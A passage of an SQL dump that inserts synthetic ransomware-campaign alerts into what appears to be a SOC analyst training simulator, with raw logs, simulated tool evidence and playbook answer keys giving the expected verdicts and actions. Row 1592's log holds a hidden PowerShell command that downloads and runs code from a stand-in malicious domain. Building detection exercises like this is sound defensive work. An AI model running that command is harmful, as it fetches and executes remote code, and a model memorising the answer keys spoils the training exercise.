detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"file_transfer\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"file_name\\\":\\\"confidential_gaming_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"data_volume\\\":\\\"500MB\\\",\\\"action\\\":\\\"allowed\\\",\\\"signature_id\\\":\\\"DLP-EXFIL-001\\\",\\\"description\\\":\\\"Suspicious file transfer detected via encrypted channel.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.629Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"file_transfer\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"file_name\\\":\\\"confidential_gaming_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"data_volume\\\":\\\"500MB\\\",\\\"action\\\":\\\"allowed\\\",\\\"signature_id\\\":\\\"DLP-EXFIL-001\\\",\\\"description\\\":\\\"Suspicious file transfer detected via encrypted channel.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.629Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"file_transfer\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"file_name\\\":\\\"confidential_gaming_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"data_volume\\\":\\\"500MB\\\",\\\"action\\\":\\\"allowed\\\",\\\"signature_id\\\":\\\"DLP-EXFIL-001\\\",\\\"description\\\":\\\"Suspicious file transfer detected via encrypted channel.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.629Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"file_transfer\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"file_name\\\":\\\"confidential_gaming_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"data_volume\\\":\\\"500MB\\\",\\\"action\\\":\\\"allowed\\\",\\\"signature_id\\\":\\\"DLP-EXFIL-001\\\",\\\"description\\\":\\\"Suspicious file transfer detected via encrypted channel.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.629Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"file_transfer\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dest_ip\\\":\\\"203.0.113.45\\\",\\\"file_name\\\":\\\"confidential_gaming_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"data_volume\\\":\\\"500MB\\\",\\\"action\\\":\\\"allowed\\\",\\\"signature_id\\\":\\\"DLP-EXFIL-001\\\",\\\"description\\\":\\\"Suspicious file transfer detected via encrypted channel.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1587, 'Initial Access via Phishing Email', 'medium', 'Email security gateway logs', 'A phishing email purportedly from a trusted source was detected, containing a malicious attachment intended to gain initial access to the network. The email originated from an IP address associated with malicious activity and contained a known malware hash used by the Mount Locker group.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"source_email\":\"john.doe@fakesupplier.com\",\"destination_email\":\"employee@victimcompany.com\",\"subject\":\"Urgent: Invoice Attached\",\"attachment\":{\"filename\":\"invoice_october.pdf\",\"hash\":\"3b1f1c2d2b8e7abf9a3f1e2d3f1a2b3e\"},\"user\":\"employee\",\"action\":\"email_delivered\"}', '2026-03-15 19:16:21', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b1f1c2d2b8e7abf9a3f1e2d3f1a2b3e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash linked to Mount Locker group\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"john.doe@fakesupplier.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email domain recently registered\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_october.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis Platform\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in phishing\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-03-15T20:58:15.635Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1588, 'Payload Execution Detected', 'high', 'Endpoint detection and response system', 'The ransomware payload has been executed on the compromised machine, encrypting files and starting the ransom demand process.', 'Malware Execution', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"EVT-20231015-0001\",\"computer_name\":\"DESKTOP-7GJ2EXQ\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.45\",\"attacker_ip\":\"203.0.113.15\",\"malware_name\":\"Ryuk\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\ryuk.exe\",\"file_hash\":\"6dcd4ce23d88e2ee9568ba546c04e2a5\",\"action\":\"Executed\",\"result\":\"File Encrypted\"}', '2026-03-15 19:16:21', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known ransomware actor IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"6dcd4ce23d88e2ee9568ba546c04e2a5\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Ransomware payload hash\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ryuk.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint_detection\",\"verdict\":\"malicious\",\"details\":\"Ransomware payload file\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1589, 'Persistence through Scheduled Task', 'medium', 'System event logs', 'The Mount Locker ransomware group has established persistence on the system by creating a scheduled task. This task is set to execute a malicious script at regular intervals, ensuring continued access and control over the compromised system.', 'Persistence Mechanism', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 1, 'new', NULL, '{\"event_id\":4698,\"timestamp\":\"2023-10-03T11:45:32Z\",\"task_name\":\"Windows_Update_12\",\"task_path\":\"\\\\Microsoft\\\\Windows\\\\\",\"user\":\"SYSTEM\",\"action\":\"Create\",\"description\":\"A scheduled task was created\",\"task_to_run\":\"C:\\\\Windows\\\\System32\\\\tasks\\\\malicious_script.bat\",\"author\":\"SYSTEM\",\"trigger\":\"Daily\",\"enabled\":\"true\",\"ip_address\":\"192.168.1.102\",\"external_ip\":\"203.0.113.45\",\"malware_hash\":\"a9f5d9e7f6c3b2a1d4e8c9b1f2a6e5c4\",\"username\":\"administrator\"}', '2026-03-15 19:16:21', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used by Mount Locker group\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a9f5d9e7f6c3b2a1d4e8c9b1f2a6e5c4\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mount Locker ransomware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.bat\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to maintain persistence\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity\",\"verdict\":\"clean\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.640Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"timestamp\\\":\\\"2023-10-03T11:45:32Z\\\",\\\"task_name\\\":\\\"Windows_Update_12\\\",\\\"task_path\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Create\\\",\\\"description\\\":\\\"A scheduled task was created\\\",\\\"task_to_run\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tasks\\\\\\\\malicious_script.bat\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"enabled\\\":\\\"true\\\",\\\"ip_address\\\":\\\"192.168.1.102\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"a9f5d9e7f6c3b2a1d4e8c9b1f2a6e5c4\\\",\\\"username\\\":\\\"administrator\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.640Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"timestamp\\\":\\\"2023-10-03T11:45:32Z\\\",\\\"task_name\\\":\\\"Windows_Update_12\\\",\\\"task_path\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Create\\\",\\\"description\\\":\\\"A scheduled task was created\\\",\\\"task_to_run\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tasks\\\\\\\\malicious_script.bat\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"enabled\\\":\\\"true\\\",\\\"ip_address\\\":\\\"192.168.1.102\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"a9f5d9e7f6c3b2a1d4e8c9b1f2a6e5c4\\\",\\\"username\\\":\\\"administrator\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.640Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"timestamp\\\":\\\"2023-10-03T11:45:32Z\\\",\\\"task_name\\\":\\\"Windows_Update_12\\\",\\\"task_path\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Create\\\",\\\"description\\\":\\\"A scheduled task was created\\\",\\\"task_to_run\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tasks\\\\\\\\malicious_script.bat\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"enabled\\\":\\\"true\\\",\\\"ip_address\\\":\\\"192.168.1.102\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"a9f5d9e7f6c3b2a1d4e8c9b1f2a6e5c4\\\",\\\"username\\\":\\\"administrator\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.640Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"timestamp\\\":\\\"2023-10-03T11:45:32Z\\\",\\\"task_name\\\":\\\"Windows_Update_12\\\",\\\"task_path\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Create\\\",\\\"description\\\":\\\"A scheduled task was created\\\",\\\"task_to_run\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tasks\\\\\\\\malicious_script.bat\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"enabled\\\":\\\"true\\\",\\\"ip_address\\\":\\\"192.168.1.102\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"a9f5d9e7f6c3b2a1d4e8c9b1f2a6e5c4\\\",\\\"username\\\":\\\"administrator\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.640Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"timestamp\\\":\\\"2023-10-03T11:45:32Z\\\",\\\"task_name\\\":\\\"Windows_Update_12\\\",\\\"task_path\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"action\\\":\\\"Create\\\",\\\"description\\\":\\\"A scheduled task was created\\\",\\\"task_to_run\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tasks\\\\\\\\malicious_script.bat\\\",\\\"author\\\":\\\"SYSTEM\\\",\\\"trigger\\\":\\\"Daily\\\",\\\"enabled\\\":\\\"true\\\",\\\"ip_address\\\":\\\"192.168.1.102\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"a9f5d9e7f6c3b2a1d4e8c9b1f2a6e5c4\\\",\\\"username\\\":\\\"administrator\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1590, 'Lateral Movement Detected', 'high', 'Network traffic analysis', 'An unauthorized lateral movement was detected within the network. The attacker utilized compromised credentials to connect to multiple internal systems, potentially to identify and encrypt additional targets. This action follows the establishment of persistence and aims to maximize impact before initiating negotiations.', 'Lateral Movement', 'T1021 - Remote Services', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:32:00Z\",\"source_ip\":\"45.76.112.34\",\"destination_ip\":\"192.168.1.15\",\"username\":\"jdoe_admin\",\"connection_method\":\"RDP\",\"file_accessed\":\"C:\\\\Sensitive\\\\encrypt.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"logon_type\":\"RemoteInteractive\",\"event_id\":4624,\"event_description\":\"An account was successfully logged on.\"}', '2026-03-15 19:16:21', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.112.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with previous ransomware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Inventory\",\"verdict\":\"internal\",\"details\":\"IP belongs to an internal server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account recently accessed from an unusual location.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"encrypt.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable linked to ransomware activities.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1591, 'Spear Phishing Email Detected', 'high', 'Email security gateway logs', 'A spear phishing email was detected targeting an employee with a malicious link intended to harvest credentials. The email originated from a known malicious IP address associated with the Maze ransomware group.', 'Phishing', 'T1566.001', 1, 'investigating', 214, '{\"timestamp\":\"2023-10-15T14:22:05Z\",\"email_id\":\"12345abcde\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"sender\":\"attacker@evilmail.com\",\"recipient\":\"employee@company.com\",\"subject\":\"Urgent: Action Required\",\"body\":\"Please review the attached document to avoid service interruption.\",\"attachment\":\"Invoice_1023.pdf\",\"malicious_link\":\"http://maliciouslink.com/login\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\"}', '2026-03-15 19:16:51', '2026-03-16 01:46:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Maze ransomware operations.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@evilmail.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email address used in previous phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciouslink.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"URL used for credential harvesting.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malicious PDF attachments.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.652Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1592, 'Malware Execution in User Workstation', 'high', 'Endpoint detection and response (EDR) logs', 'Upon clicking the malicious link, the victim unknowingly executes a ransomware payload, marking the beginning of Maze\'s execution phase. The malware is observed executing from a suspicious directory, with network connections to a known malicious IP.', 'Malware Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_type\":\"process_creation\",\"source_ip\":\"10.0.0.5\",\"destination_ip\":\"185.92.220.100\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/payload\');\",\"file_path\":\"C:\\\\Users\\\\victim\\\\AppData\\\\Local\\\\Temp\\\\ransomware.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"username\":\"victim_user\",\"destination_domain\":\"maliciousdomain.com\"}', '2026-03-15 19:16:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple ransomware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known Maze ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenDNS\",\"verdict\":\"malicious\",\"details\":\"Domain used for distributing malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal EDR\",\"verdict\":\"suspicious\",\"details\":\"Filename associated with unauthorized processes\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"victim_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Employee account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1593, 'Establishing Persistence via Scheduled Task', 'high', 'Windows event logs', 'The Maze operators have created a scheduled task on the compromised machine, ensuring the ransomware remains active even after reboots. This allows them to maintain persistence in the system.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"EventID\":4698,\"Task Category\":\"Scheduled Task Created\",\"Computer\":\"compromised-host.local\",\"User\":\"JohnDoe\",\"Scheduled Task Name\":\"\\\\Microsoft\\\\Windows\\\\UpdateSecurity\",\"Action\":\"Create\",\"Parameters\":{\"Program\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"Arguments\":\"/c start C:\\\\Users\\\\JohnDoe\\\\AppData\\\\Roaming\\\\maze.exe\",\"Triggers\":\"At startup\"},\"Logon ID\":\"0x3e7\",\"Source Network Address\":\"45.76.123.23\",\"MD5 Hash\":\"4d186321c1a7f0f354b297e8914ab240\",\"Internal IP\":\"192.168.1.5\"}', '2026-03-15 19:16:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.123.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malicious IP Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with Maze ransomware activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4d186321c1a7f0f354b297e8914ab240\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"MD5 hash of a known Maze ransomware file\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"JohnDoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Legitimate user 